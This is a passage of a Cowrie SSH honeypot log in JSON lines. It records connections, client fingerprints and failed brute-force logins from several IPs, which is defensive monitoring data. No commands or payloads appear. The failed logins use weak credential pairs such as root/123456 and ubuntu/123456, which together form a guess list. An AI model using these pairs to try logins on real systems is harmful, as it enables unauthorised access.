{"eventid":"cowrie.login.failed","username":"root","password":"victory1","message":"login attempt [root/victory1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:50.519596Z","src_ip":"186.116.56.108","session":"16799a22f911","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":60242,"dst_ip":"10.17.0.5","dst_port":22,"session":"4448b6dd4061","protocol":"ssh","message":"New connection: 43.163.119.215:60242 (10.17.0.5:22) [session: 4448b6dd4061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:50.622607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:50.626307Z","src_ip":"43.163.119.215","session":"4448b6dd4061","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:50.855665Z","src_ip":"43.163.119.215","session":"4448b6dd4061","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:51.615712Z","src_ip":"186.116.56.108","session":"16799a22f911","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r","message":"login attempt [root/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:51.819407Z","src_ip":"43.163.119.215","session":"4448b6dd4061","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":60244,"dst_ip":"10.17.0.5","dst_port":22,"session":"58fdb0350dee","protocol":"ssh","message":"New connection: 43.163.119.215:60244 (10.17.0.5:22) [session: 58fdb0350dee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:52.314484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:52.323639Z","src_ip":"43.163.119.215","session":"58fdb0350dee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:52.565522Z","src_ip":"43.163.119.215","session":"58fdb0350dee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:53.052052Z","src_ip":"43.163.119.215","session":"4448b6dd4061","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rock","password":"rock","message":"login attempt [rock/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:53.278020Z","src_ip":"43.163.119.215","session":"58fdb0350dee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:54.519846Z","src_ip":"43.163.119.215","session":"58fdb0350dee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":59496,"dst_ip":"10.17.0.5","dst_port":22,"session":"b050b7c03222","protocol":"ssh","message":"New connection: 43.163.119.215:59496 (10.17.0.5:22) [session: b050b7c03222]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:00.437735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:00.443803Z","src_ip":"43.163.119.215","session":"b050b7c03222","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:00.690103Z","src_ip":"43.163.119.215","session":"b050b7c03222","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":57844,"dst_ip":"159.203.135.109","dst_port":22,"session":"70d5d33474c5","protocol":"ssh","message":"New connection: 103.75.199.4:57844 (159.203.135.109:22) [session: 70d5d33474c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:00.836340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:00.841251Z","src_ip":"103.75.199.4","session":"70d5d33474c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:00.935234Z","src_ip":"103.75.199.4","session":"70d5d33474c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:01.209817Z","src_ip":"103.75.199.4","session":"70d5d33474c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server","message":"login attempt [server/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:01.431081Z","src_ip":"43.163.119.215","session":"b050b7c03222","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:02.312981Z","src_ip":"103.75.199.4","session":"70d5d33474c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:02.684785Z","src_ip":"43.163.119.215","session":"b050b7c03222","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.102.183.113","src_port":47248,"dst_ip":"10.17.0.5","dst_port":22,"session":"9db8e2f1100c","protocol":"ssh","message":"New connection: 67.102.183.113:47248 (10.17.0.5:22) [session: 9db8e2f1100c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:09.805508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:09.810303Z","src_ip":"67.102.183.113","session":"9db8e2f1100c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:09.882845Z","src_ip":"67.102.183.113","session":"9db8e2f1100c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:10.202854Z","src_ip":"67.102.183.113","session":"9db8e2f1100c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:11.278786Z","src_ip":"67.102.183.113","session":"9db8e2f1100c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":52270,"dst_ip":"10.17.0.5","dst_port":22,"session":"4823b184ef54","protocol":"ssh","message":"New connection: 43.163.119.215:52270 (10.17.0.5:22) [session: 4823b184ef54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:17.333059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:17.338680Z","src_ip":"43.163.119.215","session":"4823b184ef54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:17.584912Z","src_ip":"43.163.119.215","session":"4823b184ef54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hduser","password":"hduser","message":"login attempt [hduser/hduser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:18.323984Z","src_ip":"43.163.119.215","session":"4823b184ef54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:19.571907Z","src_ip":"43.163.119.215","session":"4823b184ef54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":36178,"dst_ip":"159.203.135.109","dst_port":22,"session":"249560c651d6","protocol":"ssh","message":"New connection: 103.75.199.4:36178 (159.203.135.109:22) [session: 249560c651d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:22.822192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:22.828078Z","src_ip":"103.75.199.4","session":"249560c651d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:22.919266Z","src_ip":"103.75.199.4","session":"249560c651d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":51278,"dst_ip":"10.17.0.5","dst_port":22,"session":"7170f5bd2d60","protocol":"ssh","message":"New connection: 43.163.119.215:51278 (10.17.0.5:22) [session: 7170f5bd2d60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:23.133947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:23.139044Z","src_ip":"43.163.119.215","session":"7170f5bd2d60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:23.192375Z","src_ip":"103.75.199.4","session":"249560c651d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:23.372238Z","src_ip":"43.163.119.215","session":"7170f5bd2d60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:24.093474Z","src_ip":"43.163.119.215","session":"7170f5bd2d60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:24.285718Z","src_ip":"103.75.199.4","session":"249560c651d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.243.147.237","src_port":57701,"dst_ip":"159.203.135.109","dst_port":22,"session":"09132cc6c5aa","protocol":"ssh","message":"New connection: 162.243.147.237:57701 (159.203.135.109:22) [session: 09132cc6c5aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:24.887038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:24.892669Z","src_ip":"162.243.147.237","session":"09132cc6c5aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie